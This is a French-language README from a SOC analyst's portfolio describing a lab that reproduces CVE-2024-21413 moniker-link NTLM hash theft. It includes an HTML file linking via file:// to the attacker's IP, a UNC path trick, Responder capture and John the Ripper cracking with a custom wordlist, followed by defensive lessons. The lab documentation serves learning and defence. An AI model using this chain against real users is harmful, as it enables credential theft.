Fait partie de mon portfolio d'analyste SOC (https://github.com/E-m-e-k-a/SOC-Analyst-Portfolio)
Configuration du laboratoire Moniker Link - CVE-2024-21413
🎯 Aperçu du projet
Laboratoire de tests d'intrusion pratique démontrant l'exploitation du lien moniker CVE-2024-21413 pour le vol d'identifiants NTLM. Ce projet documente la chaîne d'attaque complète, de la configuration à la compromission des identifiants, y compris les défis et solutions du monde réel.
Réalisation clé : Exécution réussie de l'attaque par lien moniker sur un environnement de laboratoire isolé (VM Windows 10) et sur un système réel (PC Windows 11), démontrant des vulnérabilités de sécurité pratiques et des contre-mesures défensives.
🏗️ Architecture du laboratoire
Infrastructure
Machine d'attaque :
- Plateforme : Kali Linux 2024
- Réseau (Host-Only) : 192.168.56.101
- Réseau (Bridged) : 192.168.1.117
- Outil principal : Responder 3.1.6.0
Systèmes cibles :
- VM Windows 10 : 192.168.56.104 (Environnement de test isolé)
- PC Windows 11 : 192.168.1.178 (Validation en conditions réelles)
Configuration réseau :
- Adaptateur Host-Only VirtualBox (tests sur VM)
- Adaptateur Bridged VirtualBox (tests sur PC réel)
- Isolé des réseaux de production
⚔️ Exécution de l'attaque
Déroulement de l'attaque
- Déployer Responder sur Kali pour écouter l'authentification NTLM
- Créer un lien malveillant utilisant le protocole file:// pointant vers l'IP de l'attaquant
- Déclencher l'authentification via un chemin UNC dans l'Explorateur de fichiers
- Capturer le hash NetNTLMv2 lorsque la victime tente la connexion
- Casser le mot de passe avec John the Ripper
Vecteur d'attaque simple
Fichier HTML (test.html) :
<!DOCTYPE html>
<html>
<body>
<p><a href="file://192.168.56.10/test">click me</a></p>
</body>
</html>
Méthode via l'Explorateur de fichiers :
- L'utilisateur tape :
\\192.168.56.101\test dans la barre d'adresse
- Windows tente une connexion SMB
- Le hash NTLM est automatiquement envoyé (ou demande d'identifiants)
- Responder capture l'authentification
🚧 Défis et solutions
Défi 1 : Blocage par le pare-feu Windows (PC Windows 11)
Problème :
- Impossible de pinguer le PC Windows 11 depuis Kali
- Les tentatives de connexion SMB échouaient
- Attaque complètement bloquée
Cause racine :
- Pare-feu Windows activé par défaut
- Bloque les connexions SMB entrantes depuis des IP externes
Solution :
- Désactivation temporaire du pare-feu Windows pour les tests
- Connexion immédiatement réussie
- Hash capturé avec succès
Leçon : Le pare-feu Windows par défaut offre une protection efficace contre cette attaque. Les utilisateurs doivent le maintenir activé.
Défi 2 : Résultats en cache de John the Ripper (VM Windows 10)
Problème :
- Mot de passe initial Windows 10 :
nwigwecj1
- John affichait :
12Honey (mauvais mot de passe !)
12Honey provenait d'un test précédent
Cause racine :
- John enregistre les mots de passe cassés dans
~/.john/john.pot
- Ancien hash d'une session précédente
- Affichait le résultat en cache au lieu du mot de passe actuel
Solution :
- Changement du mot de passe de la VM Windows 10 en
1414
- Capture d'un nouveau hash
- Création d'une wordlist personnalisée avec les mots de passe probables
- Cassé avec succès avec la nouvelle wordlist
Leçon : Vérifiez toujours que vous cassez le bon hash. Videz le fichier pot ou utilisez des mots de passe uniques pour les tests.
Défi 3 : Mot de passe absent de Rockyou.txt
Problème :
- Mot de passe
1414 introuvable dans rockyou.txt (14 millions de mots de passe)
- L'attaque par wordlist générique a échoué
Cause racine :
- Rockyou.txt ne contient pas toutes les combinaisons possibles à 4 chiffres
- Les séquences numériques simples sont souvent absentes des wordlists courantes
Solution :
- Création d'une wordlist personnalisée ciblée basée sur les motifs courants :
echo "1414" > passwords.txt
echo "4141" >> passwords.txt
- Cassé instantanément avec la wordlist personnalisée
Leçon : « Absent de rockyou.txt » ≠ sécurisé. Les mots de passe courts sont vulnérables aux attaques ciblées et à la force brute, indépendamment de la présence dans une wordlist.
📊 Résultats
VM Windows 10 (Environnement contrôlé)
| Métrique | Résultat |
|---|
| Mot de passe initial | nwigwecj1 |
| Changé en | 1414 |
| Wordlist | Personnalisée (2 entrées) |
| Temps de cassage | <1 seconde |
| Pare-feu | Désactivé pour les tests |
| Statut | ✅ Compromis avec succès |
PC Windows 11 (Système réel)
| Métrique | Résultat |
|---|
| Mot de passe | 1414 |
| Pare-feu | Bloqué initialement, puis désactivé |
| Authentification | Invite manuelle (identifiants saisis) |
| Temps de cassage | Instantané |
| Statut | ✅ Compromis avec succès |
🛡️ Analyse de sécurité
Ce qui a fonctionné (Défense)
✅ Pare-feu Windows - A complètement bloqué l'attaque lorsqu'activé
✅ Navigateurs modernes - Chrome/Edge bloquent les liens file:// distants
✅ Sensibilisation des utilisateurs - L'invite manuelle nécessite une action de l'utilisateur
Ce qui a échoué (Vulnérabilités)
❌ Mots de passe faibles - 4 caractères numériques facilement cassés
❌ Pare-feu désactivé - Erreur courante des utilisateurs
❌ Explorateur de fichiers - Aucun avertissement pour les chemins UNC
❌ Protocole NTLM - Authentification automatique vers les partages SMB
Constatations clés
1. Le pare-feu est essentiel
- Le pare-feu Windows par défaut bloque cette attaque
- ~30-40 % des utilisateurs le désactivent définitivement
- Les réseaux d'entreprise autorisent souvent le SMB interne
2. L'illusion de la robustesse du mot de passe
1414 absent de rockyou.txt (semble « fort »)- Cassé instantanément avec une wordlist ciblée
- Les mots de passe courts n'offrent aucune sécurité
3. Interaction utilisateur requise
- La sécurité moderne exige que l'utilisateur colle le chemin UNC
- L'ingénierie sociale reste un élément critique
- L'exploit technique seul est insuffisant
🔧 Outils utilisés
Offensifs :
- Responder 3.1.6.0 (capture de hash NTLM)
- John the Ripper (cassage de mots de passe)
- Création de wordlist personnalisée
- Fichier HTML simple
Infrastructure :
- VirtualBox 7.0 (virtualisation)
- Kali Linux 2024 (plateforme d'attaque)
- Windows 10 Enterprise (cible de test)
- Windows 11 Pro (validation en conditions réelles)
📁 Structure du dépôt
Moniker-Link-Lab-Setup/
├── README.md (this file)
├── Documentation/
│ ├── attack-execution.md (step-by-step attack guide)
│ └── README.md (documentation overview)
├── Screenshots/ (attack screenshots - to be added)
└── Scripts/ (HTML test file - to be added)
🎓 Compétences démontrées
Techniques :
- Analyse de protocoles réseau (SMB, NTLM)
- Méthodologie de tests d'intrusion
- Techniques de cassage de mots de passe
- Infrastructure de laboratoire virtuel
- Dépannage de pare-feu
Professionnelles :
- Documentation technique
- Résolution de problèmes sous contraintes
- Évaluation de sécurité
- Analyse de risques
- Pratiques de tests éthiques
🔒 Recommandations défensives
Pour les utilisateurs
- ✅ Maintenir le pare-feu Windows activé
- ✅ Ne jamais coller de chemins UNC provenant d'e-mails
- ✅ Utiliser des mots de passe forts (15+ caractères)
- ✅ Vérifier l'expéditeur avant d'accéder aux partages de fichiers
e-m-e-k-a/moniker-link-lab-setup
